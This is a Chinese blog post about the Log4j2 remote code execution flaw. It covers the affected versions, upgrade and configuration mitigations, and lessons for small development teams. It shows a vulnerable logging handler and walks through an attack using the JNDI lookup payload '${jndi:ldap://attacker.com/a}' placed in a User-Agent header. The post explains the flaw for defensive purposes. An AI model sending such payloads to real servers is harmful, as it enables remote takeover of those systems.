事件背景

12月10日,看到朋友圈中已经有人在通宵修改、上线系统了。随即,又看到阿里云安全、腾讯安全部门发出的官方报告:”Apache Log4j2存在远程代码执行漏洞“,且漏洞已对外公开。

看到相关消息,马上爬起来把所有项目的日志系统过滤一遍,还好老项目采用的log4j,新项目采用的logback,没有中招。随后就看到朋友圈铺天盖地的相关消息。

作为一个史诗级的事件,紧急修改漏洞是必然的。作为程序员,如果看到这则消息,连去核查一下系统都做不到,那真的不是一个合格的程序员。

经历过这次事件,不仅是看热闹而已,还要思考一下,作为小公司如何避免、提前预防、做好准备应对这类Bug。

漏洞描述

Apache Log4j2是一款优秀的Java日志框架,与Logback平分秋色,大量主流的开源框架采用了Log4j2,像Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。所以,这样一个底层框架出现问题,影响面可想而知。

漏洞信息:Apache Log4j 2.15.0-rc1 版本存在漏洞绕过,需及时更新至 Apache Log4j 2.15.0-rc2 版本。

影响范围:2.0 <= Apache log4j2 <= 2.14.1。

最新修复版本:https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2

补救方案

方案一:升级版本,发布系统;

方案二:临时补救:

  • 修改JVM参数,设置 -Dlog4j2.formatMsgNoLookups=true
  • 在涉及漏洞的项目的类路径(classpath)下增加log4j2.component.properties配置文件并增加配置项log4j2.formatMsgNoLookups=true
  • 将系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true。

攻击原理

攻击伪代码示例:

import org.apache.log4j.Logger;import java.io.*;
import java.sql.SQLException;
import java.util.*;public class VulnerableLog4jExampleHandler implements HttpHandler {static Logger log = Logger.getLogger(log4jExample.class.getName());/*** 示例伪代码:一个简单的HTTP端点,其中读取User Agent信息并进行日志记录;*/public void handle(HttpExchange he) throws IOException {// 获取user-agent信息String userAgent = he.getRequestHeader("user-agent");// 此行记录日志的代码,通过记录攻击者控制的HTTP用户代理标头来触发RCE。// 攻击者可以设置他们的User-Agent header到${jndi:ldap://attacker.com/a}log.info("Request User Agent:" + userAgent);String response = "<h1>Hello There, " + userAgent + "!</h1>";he.sendResponseHeaders(200, response.length());OutputStream os = he.getResponseBody();os.write(response.getBytes());os.close();}
}

基于上述代码的基本攻击步骤:

  • 请求对应的HTTP端点(或接口),在请求信息中携带攻击代码(比如,在user-agent中携带${jndi:ldap://attacker.com/a});
  • 服务器在通过Log4j2执行日志记录时,记录中包含了基于JNDILDAP的恶意负载${jndi:ldap://attacker.com/a},其中attacker.com是攻击者控制的地址。
  • 记录日志操作触发向攻击者控制的地址发送请求。
  • 对应请求返回在响应中返回可执行的恶意代码,注入到服务器进程当中。比如返回,https://attacker.com/Attack.class 。
  • 进而执行脚本控制服务器。

腾讯安全专家的复现如下:

小公司程序员能做些什么?

关于漏洞及解决方案,上面已经详细聊了,问题基本得以解决。在大的互联网企业,是有专门的安全运维部门来监控、扫描这些漏洞的。但在小公司,很显然没有这样的条件。

那么,我们该怎么办?同时,作为事件的经历者,你是否思考过这个事件中反映出的一些其他问题吗?

第一,是否第一时间得到消息?

在大企业,一旦发现这样的漏洞,安全部门会第一时间进行通知。但在小企业,没有安全部门,你是如何获取到漏洞的消息的呢?

比如我所在的企业,是没有安全部门的,但也几乎是第一时间得知漏洞消息,进行系统排查的。

作为程序员,如果漏洞消息已经爆出很久,你却一无所知,那就应该反思一下朋友圈的质量以及对技术热点的关注度问题了。

如何获得圈内第一手消息,取决于也反映着你在社交圈或技术圈所处的位置与现状

第二,是否置若罔闻?

很多朋友可能也看到了这则漏洞消息,但也就是看一下热闹,然后该干嘛干嘛了,系统有漏洞就有漏洞了呗~

如果你是如此,或你的团队是如此,你真的需要反省一下职业素养问题了。

很多人可能觉得自己很牛,觉得自己怀才不遇,觉得工资收入低,觉得被亏待……那么,对照一下对这件事所作出的反应,基本就知道自己是不是被亏待了。

第三,如何应对突发事件?

这样的突发事件,也是对系统运维、团队管理的一个考验,也是一个仿真练习:大家都正在进行着当前业务的开发,有一个突发Bug要修改,改一半的代码如何操作?如大面积发布?

第一,改一半的代码怎么办?如果你的团队的代码开发都是基于master(主干)进行开发、提交代码,针对这样的突发事件,必然会面对改了一半的代码,提交了,想一起发布但还没测试,这种骑虎难下的局面。

所以,代码的管理(如何打分支、合并分支、分支与主干代码不同环境的发布)必须得从日常的点滴做起,当突发事件发生时,也不至于手忙脚乱。

第二,有大量项目需要发布怎么办?当然,最古老的方式就是一个系统一个系统手动发布。如果是微服务及应用较多,不仅容易出现错误,而且耗时较长。这就提醒我们,构建自动化发布流程的重要性。

第四,怎么找出系统漏洞?

有安全部门的公司,会定期扫描系统漏洞,那么没有安全部门的公司只能坐以待毙吗?

其实,还是有一些方法可以发现系统的一些漏洞的。比如,勤关注使用框架的版本升级、利用三方提供的漏洞扫描(比如阿里云服务器的安全扫描)、与同行交流等手段。

小结

任何一个漏洞对软件系统来说都有可能是致命的,也需要我们谨慎对待的。对于漏洞的处理及做出的反应也是从业者职业素养的体现。

而如果能从一次次突发事件中学习、思考到更多内容,你将比别人更快的成长。

博主简介:《SpringBoot技术内幕》技术图书作者,酷爱钻研技术,写技术干货文章。

公众号:「程序新视界」,博主的公众号,欢迎关注~

技术交流:请联系博主微信号:zhuan2quan


程序新视界”,一个100%技术干货的公众号


Log4j史诗级漏洞,我们这些小公司能做些什么?相关推荐

  1. 紧急!Log4j 史诗级漏洞来袭,已引起大规模入侵,速速自查!

    1.漏洞简介 Apache Log4j 2是一款优秀的Java日志框架.该工具重写了Log4j框架,并且引入了大量丰富的特性.该日志框架被大量用于业务系统开发,用来记录日志信息.由于Apache Lo ...

  2. 史诗级漏洞爆发,Log4j 背后的开源人何去何从?

    近年来,开源热潮席卷全球,纵观全球信息产业,更是呈现"得开源者得生态,得开源者得天下"的态势.在此趋势下,众多互联网企业争相拥抱开源,"开源"一词被推上了前所未 ...

  3. Log4j 2漏洞(CVE-2021-44228)的快速响应

    简介 2021 年 12 月 9 日,在Log4j的 GitHub 上公开披露了一个影响多个版本的 Apache Log4j 2 实用程序的高严重性漏洞 CVE-2021-44228.CVSSv3 1 ...

  4. 推特惊爆史诗级漏洞,App 恶意窃取用户隐私,云端安全路向何方?

    作者 | 马超 来源 | CSDN(ID:CSDNnews) 近日,全球安全事件频发,先是推特惊爆史诗级漏洞,黑客对推特进行比特币钓鱼骗局,获取了对包括美国前总统奥巴马.钢铁侠埃隆·马斯克.和世界首富 ...

  5. 关于Log4j高危漏洞的反思

    你用Log4j 吐了吗? 反正我是吐了一个月了. 2021年11月份底,log4j官网发布了log4j的漏洞,消息一出,整个IT互联网行业几乎都是后院着火.漏洞的原理很简单,但是其危害相当于把服务器变 ...

  6. OpenShift Security (9) - 用 RHACS 扫描 Log4j 安全漏洞,屏蔽不安全镜像部署

    <OpenShift 4.x HOL教程汇总> 说明:本文已经在 OpenShift 4.9 + RHACS 环境中验证,需要先完成<OpenShift Security (2) - ...

  7. 【每日新闻】 百度张亚勤:小公司不要做平台,应聚焦解决实际问题 | 工信部:确保取消流量“漫游”费7月1日如期兑现...

    点击关注中国软件网 最新鲜的企业级干货聚集地 2018中国软件生态大会暨第十一届中国软件渠道大会首站在北京成功举行,同时拉开了覆盖北京.上海.深圳.成都.西安等全国16个重点城市生态对接与合作年度盛会 ...

  8. 在这个互联网加的时代,我们能做些什么呢?

    在这个互联网加时代,大众创业,万众创新,你是否也曾有过点小激动,是否也曾有过些想法?但冷静之余,我们是否应该思索点什么?我们能够做些什么呢? 前阵子,微商,微店,微传销,忽然之间铺天盖地而来,各种信息 ...

  9. 互联网产品上线前,做些什么——产品、开发、测试的视角(转载)

    互联网产品上线前:产品经理.开发.测试该做些什么?这是近些天,我们的项目团队在做的事情.写一些心得吧,来自腾讯.YY.迅雷的工作实践汇总,有些杂乱,不一定全对,供大家参考,有兴趣的同学可以整理一下. ...

最新文章

  1. 拷贝控制——拷贝控制和资源管理,交换操作,对象移动
  2. 区块链研习 | 什么是区块链的链外交易和链内交易
  3. 智能城市dqn算法交通信号灯调度_博客 | 滴滴 KDD 2018 论文详解:基于强化学习技术的智能派单模型...
  4. Web Service 基本概念和技术应用
  5. 使用这些思路与技巧,我读懂了多个优秀的开源项目
  6. Asp.net通过Gmail发送邮件
  7. 计算机网络学习笔记(26. Web缓存技术)
  8. Windows Mobile获取通话记录 C#
  9. oracle一步一步01
  10. 思考的乐趣:Matrix67数学笔记
  11. HTML——3D旋转+动画 旋转木马案例
  12. Android.mk 包含问题带来的so.toc needed by 错误
  13. 一文读懂 12种卷积方法(含1x1卷积、转置卷积和深度可分离卷积等)
  14. c语言dht网络爬虫,用Node.js实现一个DHT网络爬虫,一步一步完成一个BT搜索引擎(一)...
  15. 河南师范大学计算机学院地址,河南师范大学校区有几个 地址是什么
  16. SHOI2002 百事世界杯之旅
  17. View onMeasure 方法
  18. 深度学习Python环境打包到另外一台电脑(详细教程)
  19. ooqzxdJeroboam v7.30 Bilingual 1CD瑰就
  20. c++中remove函数

热门文章

  1. 使用paypal-php-sdk开发php国际支付
  2. SMAA算法详解 - SMAABlendingWeightCalculationVS
  3. linux一句话精彩问答(05年新版)
  4. 全场景智联,智慧护家,海雀智能门铃如何与众不同
  5. 推荐书籍---豆瓣9.2分---《编码:隐匿在计算机软硬件背后的语言》
  6. SVN冲突 One or more files are in a conflicted state
  7. linux设置小技巧
  8. Java中,如何把ascii码转换成字符?
  9. 互联网众筹系统开发-一站式搭建众筹项目建设
  10. Python:dataframe读取以文本形式存储的数字